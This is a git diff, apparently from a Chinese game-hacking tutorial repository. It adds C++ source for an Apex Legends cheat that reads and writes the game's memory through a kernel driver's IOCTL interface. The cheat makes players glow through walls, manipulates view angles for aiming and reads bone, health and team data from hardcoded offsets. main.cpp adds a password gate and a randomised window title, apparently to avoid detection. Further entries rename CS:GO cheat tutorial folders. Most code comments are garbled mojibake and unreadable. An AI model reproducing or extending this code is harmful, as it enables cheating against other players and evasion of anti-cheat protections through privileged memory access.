m_driver_point(r), m_base(d) {} + ~entity() {} + + entity& operator=(entity& e) + { + m_driver_point = e.m_driver_point; + m_base = e.m_base; + return *this; + } + + /* Чж */ + bool empty() + { + if (m_driver_point == nullptr) return true; + if (m_base == 0) return true; + return false; + } + + /* ûַ */ + void update(rm_driver* p, DWORD64 b) + { + m_driver_point = p; + m_base = b; + } + + /* ȡʶ */ + DWORD32 get_flags() + { + return m_driver_point->read(m_base + apex_offsets::m_fFlags); + } + + /* ȡ */ + Vec3 get_vec_velocity() + { + return m_driver_point->read(m_base + apex_offsets::m_vecVelocity); + } + + /* ȡԭ */ + Vec3 get_origin() + { + return m_driver_point->read(m_base + apex_offsets::m_localOrigin); + } + + /* ȡabsԭ */ + Vec3 get_abs_origin() + { + return m_driver_point->read(m_base + apex_offsets::m_vecAbsOrigin); + } + + /* λ */ + Vec3 get_cam_pos() + { + return m_driver_point->read(m_base + apex_offsets::m_vecCamPos); + } + + /* ȡǶ */ + Vec3 get_sway_angle() + { + return m_driver_point->read(m_base + apex_offsets::m_vecSwayAngle); + } + + /* ȡǶ */ + Vec3 get_angle() + { + return m_driver_point->read(m_base + apex_offsets::m_vecViewAngle); //apex_offsets::m_localAngles; + } + + /* ýǶ */ + void set_angle(Vec3 v) + { + return m_driver_point->write(m_base + apex_offsets::m_vecViewAngle, v); //apex_offsets::m_localAngles; + } + + /* ȡǰѪ */ + DWORD32 get_current_health() + { + return m_driver_point->read(m_base + apex_offsets::m_iHealth); + } + + /* ȡѪ */ + DWORD32 get_max_health() + { + return m_driver_point->read(m_base + apex_offsets::m_iMaxHealth); + } + + /* ȡŶID */ + DWORD32 get_team_id() + { + return m_driver_point->read(m_base + apex_offsets::m_iTeamNum); + } + + /* ȡǰֵ */ + DWORD32 get_current_shields() + { + return m_driver_point->read(m_base + apex_offsets::m_shieldHealth); + } + + /* ȡ󻤶ֵ */ + DWORD32 get_max_shields() + { + return m_driver_point->read(m_base + apex_offsets::m_shieldHealthMax); + } + + /* ȡָ */ + Vec3 get_bone_position(int id) + { + mat3x4 bones[128]{}; + m_driver_point->read_array(m_base + apex_offsets::m_bConstrainBetweenEndpoints, bones, sizeof(mat3x4) * 128); + + const auto& t = bones[id]; + return get_abs_origin() + Vec3{ t.u.d2[3],t.u.d2[7], t.u.d2[11] }; + } + + /* ȡָ */ + Vec3 get_bone_position1(int id) + { + Vec3 origin = get_abs_origin(); + Bone b = m_driver_point->read(m_base + apex_offsets::m_bConstrainBetweenEndpoints + id * 0x30); + Vec3 res; + res.x = origin.x + b.x; + res.y = origin.y + b.y; + res.z = origin.z + b.z; + return res; + } + + /* Թ */ + void glow_player(bool state) + { + if (state) + { + m_driver_point->write(m_base + apex_offsets::m_highlight_t1, 16256); + m_driver_point->write(m_base + apex_offsets::m_highlight_t2, 1193322764); + m_driver_point->write(m_base + apex_offsets::m_highlight_enable, 7); + m_driver_point->write(m_base + apex_offsets::m_highlight_wall, 2); + } + else + { + m_driver_point->write(m_base + apex_offsets::m_highlight_t1, 0); + m_driver_point->write(m_base + apex_offsets::m_highlight_t2, 0); + m_driver_point->write(m_base + apex_offsets::m_highlight_enable, 2); + m_driver_point->write(m_base + apex_offsets::m_highlight_wall, 5); + } + } + + /* ȡ */ + Vec3 get_recoil_angle() + { + return m_driver_point->read(m_base + apex_offsets::m_vecPunchWeapon_Angle); + } + + /* Ƿ */ + bool is_player() + { + return m_driver_point->read(m_base + apex_offsets::m_iName) == 125780153691248; + } + + /* Ƿǵ */ + bool is_npc() + { + return m_driver_point->read(m_base + apex_offsets::m_iTeamNum) == 97; + } + + /* Ƿ */ + bool is_life() + { + return m_driver_point->read(m_base + apex_offsets::m_lifeState) == 0; + } + + /* Ƿվ */ + bool is_ground() + { + return (get_flags() & 0x1) != 0; + } + + /* Ƿ */ + bool is_duck() + { + return (get_flags() & 0x2) != 0; + } + + /* Ѫſ״̬ */ + bool is_bleed_out() + { + return m_driver_point->read(m_base + apex_offsets::m_bleedoutState) != 0; + } + + /* Ѫʱ */ + float get_bleed_out_time() + { + return m_driver_point->read(m_base + apex_offsets::m_bleedoutStartTime); + } + + ////////////////////////////////////////////////////////////////////////// + /* Թ */ + void glow_item(bool state) + { + if (state) + m_driver_point->write(m_base + apex_offsets::m_highlightFunctionBits, 1363184265); + else + m_driver_point->write(m_base + apex_offsets::m_highlightFunctionBits, 1411417991); + } + + /* ȡ */ + ItemID get_item_index() + { + return m_driver_point->read(m_base + apex_offsets::m_customScriptInt); + } + + ////////////////////////////////////////////////////////////////////////// + /* ȡ */ + Weapon_Index get_weapon_name_index() + { + return m_driver_point->read(m_base + apex_offsets::m_weaponNameIndex); + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/main.cpp" new file mode 100644 index 0000000..1506d6f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/main.cpp" @@ -0,0 +1,43 @@ +#include "cheats.hpp" + +#include + +#include +#include +#include + +/* */ +void set_random_title() +{ + srand((unsigned int)time(NULL)); + const char *maps = "QAZXSWEDCVFRTGBNHYUJMKIOLPqwertyuiopasdfghjklzxcvbnm123654789"; + char title[100]{ "title " }; + for (int i = 6; i < 30; i++) title[i] = maps[rand() % (strlen(maps) - 1)]; + system(title); +} + +int main(int argc, char* argv[]) +{ + // + set_random_title(); + + // ʲôԶе + std::cout << "[+] please input password : "; + std::string pass; + getline(std::cin, pass); + if (pass.size() != 3) return 0; + if (pass[0] != 'F' || pass[1] != 'Y' || pass[2] != 'H') return 0; + + while (true) + { + // ͣһ,Ϸʼ + system("cls"); + system("pause"); + + // ʼ + apex_cheats g; + g.start_cheats(); + } + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/memory.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/memory.hpp" new file mode 100644 index 0000000..b7f8124 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/memory.hpp" @@ -0,0 +1,312 @@ +#pragma once + +#pragma once + +#include +#include +#include +#include +#include + +#include + +//ȡṹ +struct KB_READ_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; +}; + +//дṹ +struct KB_WRITE_PROCESS_MEMORY_IN +{ + UINT64 ProcessId; + PVOID BaseAddress; + PVOID Buffer; + ULONG Size; + BOOLEAN PerformCopyOnWrite; +}; + +// +struct KB_OPEN_PROCESS_IN +{ + UINT64 ProcessId; + ACCESS_MASK Access; + ULONG Attributes; +}; + +// +struct KB_OPEN_PROCESS_OUT +{ + HANDLE hProcess; +}; + +//رս +struct KB_CLOSE_HANDLE_IN +{ + HANDLE Handle; +}; + +//ȡϢ +struct KB_QUERY_INFORMATION_PROCESS_THREAD_IN +{ + HANDLE Handle; + PVOID Buffer; + PULONG ReturnLength; + ULONG InfoClass; + ULONG Size; +}; + +class rm_driver +{ +public: + DWORD32 m_pid; // ID + DWORD64 m_base; // ַ̻ + HANDLE m_driver; // + +private: + /* IOCTL */ + BOOL SendIOCTL( + IN HANDLE hDevice, + IN DWORD Ioctl, + IN PVOID InputBuffer, + IN ULONG InputBufferSize, + IN PVOID OutputBuffer, + IN ULONG OutputBufferSize, + OPTIONAL OUT PDWORD BytesReturned = NULL, + OPTIONAL IN DWORD Method = 3) + { + DWORD RawIoctl = CTL_CODE(0x8000, Ioctl, Method, FILE_ANY_ACCESS); + DWORD Returned = 0; + BOOL Status = DeviceIoControl(hDevice, RawIoctl, InputBuffer, InputBufferSize, OutputBuffer, OutputBufferSize, &Returned, NULL); + if (BytesReturned) *BytesReturned = Returned; + return Status; + } + + /* */ + BOOL KbSendRequest( + int Index, + IN PVOID Input = NULL, + ULONG InputSize = 0, + OUT PVOID Output = NULL, + ULONG OutputSize = 0) + { + if (m_driver != INVALID_HANDLE_VALUE) return SendIOCTL(m_driver, 0x800 + Index, Input, InputSize, Output, OutputSize); + return 0; + } + + /* дڴ */ + BOOL KbWriteProcessMemory( + ULONG ProcessId, + OUT PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite = FALSE) + { + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_WRITE_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.PerformCopyOnWrite = PerformCopyOnWrite; + return KbSendRequest(65, &Input, sizeof(Input)); + } + + /* ȡڴ */ + BOOL KbReadProcessMemory( + ULONG ProcessId, + IN PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size) + { + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_READ_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + return KbSendRequest(64, &Input, sizeof(Input)); + } + + /* 򿪽 */ + BOOL WINAPI KbOpenProcess( + ULONG ProcessId, + OUT HANDLE* hProcess, + OPTIONAL ACCESS_MASK Access = PROCESS_ALL_ACCESS, + OPTIONAL ULONG Attributes = 64 | 512) + { + if (!hProcess) return FALSE; + KB_OPEN_PROCESS_IN Input = {}; + KB_OPEN_PROCESS_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.Access = Access; + Input.Attributes = Attributes; + BOOL Status = KbSendRequest(50, &Input, sizeof(Input), &Output, sizeof(Output)); + *hProcess = Output.hProcess; + return Status; + } + + /* رս */ + BOOL WINAPI KbCloseHandle(HANDLE Handle) + { + if (!Handle) return FALSE; + KB_CLOSE_HANDLE_IN Input = {}; + Input.Handle = Handle; + return KbSendRequest(55, &Input, sizeof(Input)); + } + + /* ȡϢ */ + BOOL WINAPI KbQueryInformationProcess( + HANDLE hProcess, + INT ProcessInfoClass, + OUT PVOID Buffer, + ULONG Size, + OPTIONAL OUT PULONG ReturnLength = NULL) + { + ULONG RetLength = 0; + KB_QUERY_INFORMATION_PROCESS_THREAD_IN Input = {}; + Input.Handle = hProcess; + Input.Buffer = reinterpret_cast(Buffer); + Input.ReturnLength = reinterpret_cast(&RetLength); + Input.InfoClass = static_cast(ProcessInfoClass); + Input.Size = Size; + BOOL Status = KbSendRequest(56, &Input, sizeof(Input)); + if (ReturnLength) *ReturnLength = RetLength; + return Status; + } + + /* ҽID */ + DWORD32 get_process_id(const wchar_t* process) + { + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32W ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32FirstW(Snap, &ProcessInfo)) + { + do + { + if (wcscmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + return ProcessInfo.th32ProcessID; + } + } while (Process32NextW(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return 0; + } + +public: + rm_driver() : m_pid(0), m_base(0), m_driver(INVALID_HANDLE_VALUE) {} + ~rm_driver() + { + if (m_driver != INVALID_HANDLE_VALUE) + CloseHandle(m_driver); + m_driver = INVALID_HANDLE_VALUE; + } + + /* ʼ */ + bool initialize(const wchar_t* name, const wchar_t* sym = L"\\\\.\\{ED2761FC-91F4-4E1E-A441-19117D9FAC59}") + { + m_pid = get_process_id(name); + if (m_pid == 0) return false; + std::cout << "[+] Ŀ : "; std::wcout << name << std::endl; + std::cout << "[+] ĿID : " << m_pid << std::endl; + + m_driver = CreateFileW(sym, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + if (m_driver == INVALID_HANDLE_VALUE) return false; + std::cout << "[+] ƾ : " << m_driver << std::endl; + + HANDLE targer; + if (KbOpenProcess(m_pid, &targer) == FALSE) return false; + std::cout << "[+] 򿪽̾ : " << targer << std::endl; + + PROCESS_BASIC_INFORMATION info{}; + KbQueryInformationProcess(targer, 0, &info, sizeof(info), NULL); + + PEB peb = read((DWORD64)info.PebBaseAddress); + m_base = (DWORD64)peb.Reserved3[1]; + std::cout << "[+] ģַ : 0x" << std::hex << m_base << std::endl; + + KbCloseHandle(targer); + return m_base; + } + + /* ȡڴ */ + template + T read(DWORD64 addr) + { + T result{}; + KbReadProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)&result, (ULONG)sizeof(T)); + return result; + } + + /* ȡ */ + char* read_char_array(DWORD64 addr, DWORD32 size) + { + char* data = new char[size]; + if (data) + { + memset(data, 0, size); + KbReadProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)data, (ULONG)size); + } + return data; + } + + /* ȡ */ + wchar_t* read_wchar_array(DWORD64 addr, DWORD32 size) + { + wchar_t* data = new wchar_t[size]; + if (data) + { + memset(data, 0, size); + KbReadProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)data, (ULONG)size); + } + return data; + } + + /* ȡ */ + float* read_float_array(DWORD64 addr, DWORD32 size) + { + float* data = new float[size]; + if (data) + { + memset(data, 0, size); + KbReadProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)data, (ULONG)size); + } + return data; + } + + /* ȡ */ + void read_array(DWORD64 addr, PVOID data, DWORD32 size) + { + memset(data, 0, size); + KbReadProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)data, (ULONG)size); + } + + /* дڴ */ + template + void write(DWORD64 addr, T buf) + { + KbWriteProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)&buf, (ULONG)sizeof(T), FALSE); + } + + /* д */ + void write_array(DWORD64 addr, PVOID data, DWORD32 size) + { + KbWriteProcessMemory((ULONG)m_pid, (PVOID)addr, (PVOID)data, (ULONG)size, FALSE); + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/offsets.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/offsets.hpp" new file mode 100644 index 0000000..294aa0d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/offsets.hpp" @@ -0,0 +1,60 @@ +#pragma once +#include + +/* +APEXƫ +*/ + +namespace apex_offsets +{ + static DWORD64 TimeDateStamp = 0x5faee648; // ʱ + static DWORD64 CheckSum = 0x201a31a; // У + + static DWORD64 ClientState = 0x127c0e0; // ͻ״̬ + static DWORD64 SignonState = 0x127c178; // ½״̬ + static DWORD64 LevelName = 0x127c290; // Ϸ汾 + + static DWORD64 ViewRender = 0x4077bd8; // Ⱦͼ + static DWORD64 ViewMatrix = 0x1b3bd0; // ͼ + static DWORD64 GlobalVars = 0x127bde0; // ȫֱ + + static DWORD64 LocalPlayer = 0x1c76fb8; // + static DWORD64 cl_entitylist = 0x18c7af8; // б + + // ϷҪ޸ƫ,ĺҪĵ + ////////////////////////////////////////////////////////////////////////// + + static DWORD64 m_ModelName = 0x0030; // ģ + static DWORD64 m_fFlags = 0x0098; // ʶ + static DWORD64 m_vecAbsOrigin = 0x014c; // absԭ + static DWORD64 m_iTeamNum = 0x0430; // Ŷӱʶ 97ʱǵ + static DWORD64 m_iName = 0x0569; // Ʊʶ 125780153691248ʱ + static DWORD64 m_vecVelocity = 0x0464; // ٶ + static DWORD64 m_bConstrainBetweenEndpoints = 0x0f18;// + static DWORD64 m_localOrigin = 0x0158; // ԭ + static DWORD64 m_localAngles = 0x0164; // ؽǶ + static DWORD64 m_vecPunchWeapon_Angle = 0x23c8; // + + static DWORD64 m_vecCamPos = 0x1E6C; // 40 57 48 83 EC 20 F3 0F 10 0A 48 8B F9 0F 2E 89 + static DWORD64 m_vecSwayAngle = 0x24a0 - 0x10; // Ƕ + static DWORD64 m_vecViewAngle = 0x24a0; // ͼǶ m_ammoPoolCapacity - 0x14 + + static DWORD64 m_shieldHealth = 0x0170; // ֵ + static DWORD64 m_shieldHealthMax = 0x0174; // 󻤶ֵ + static DWORD64 m_iHealth = 0x0420; // Ѫ + static DWORD64 m_iMaxHealth = 0x0558; // Ѫ + static DWORD64 m_lifeState = 0x0778; // ״̬ + static DWORD64 m_bleedoutState = 0x2628; // Ѫ״̬ + static DWORD64 m_bleedoutStartTime = 0x262c; // Ѫʱ + + static DWORD64 m_latestPrimaryWeapons = 0x1a0c; // ǰ + static DWORD64 m_weaponNameIndex = 0x17b8; // + static DWORD64 m_weaponClassIndex = 0x1604; // + static DWORD64 m_customScriptInt = 0x1608; // Item + + static DWORD64 m_highlightFunctionBits = 0x2A8; // Թ + static DWORD64 m_highlight_t1 = 0x262; // m_highlightFunctionBits - 0x46; + static DWORD64 m_highlight_t2 = 0x2c4; // m_highlightFunctionBits + 0x1C; + static DWORD64 m_highlight_enable = 0x350; // m_highlightFunctionBits + 0xA8; + static DWORD64 m_highlight_wall = 0x360; // m_highlight_enable + 0x10; +}; \ No newline at end of file diff --git "a/1.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/A.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/README.md" similarity index 100% rename from "1.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/A.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/README.md" diff --git "a/1.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/A.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/demo.jpg" similarity index 100% rename from "1.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/A.\350\276\205\345\212\251\347\250\213\345\272\217\346\234\200\347\273\210\346\225\210\346\236\234\346\274\224\347\244\272/demo.jpg" diff --git "a/2.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/B.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/README.md" similarity index 100% rename from "2.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/B.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/README.md" diff --git "a/2.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/B.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/demo.jpg" similarity index 100% rename from "2.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/B.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\347\237\251\351\230\265\344\277\241\346\201\257/demo.jpg" diff --git "a/3.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/C.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/README.md" similarity index 100% rename from "3.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/C.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/README.md" diff --git "a/3.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/C.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/demo.jpg" similarity index 100% rename from "3.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/C.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\350\247\222\345\272\246\344\277\241\346\201\257/demo.jpg" diff --git "a/4.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/D.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" similarity index 100% rename from "4.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/D.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" diff --git "a/4.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/D.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" similarity index 100% rename from "4.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/D.\344\275\277\347\224\250CE\346\237\245\346\211\276\350\207\252\345\267\261\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" diff --git "a/5.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/E.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" similarity index 100% rename from "5.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/E.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/README.md" diff --git "a/5.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/E.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" similarity index 100% rename from "5.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/E.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\344\275\215\347\275\256\344\277\241\346\201\257/demo.jpg" diff --git "a/6.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/F.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/README.md" similarity index 100% rename from "6.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/F.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/README.md" diff --git "a/6.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/F.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/demo.jpg" similarity index 100% rename from "6.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/F.\344\275\277\347\224\250CE\346\237\245\346\211\276\346\225\214\344\272\272\345\222\214\351\230\237\345\217\213\347\232\204\351\252\250\351\252\274\344\277\241\346\201\257/demo.jpg" diff --git "a/7.C++\345\256\236\347\216\260inline hook/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/G.C++\345\256\236\347\216\260inline hook/README.md" similarity index 100% rename from "7.C++\345\256\236\347\216\260inline hook/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/G.C++\345\256\236\347\216\260inline hook/README.md" diff --git "a/7.C++\345\256\236\347\216\260inline hook/inline_hook.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/G.C++\345\256\236\347\216\260inline hook/inline_hook.hpp" similarity index 100% rename from "7.C++\345\256\236\347\216\260inline hook/inline_hook.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/G.C++\345\256\236\347\216\260inline hook/inline_hook.hpp" diff --git a/8.inline hook Direct3D9/README.md "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/README.md" similarity index 100% rename from 8.inline hook Direct3D9/README.md rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/README.md" diff --git a/8.inline hook Direct3D9/demo.jpg "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] 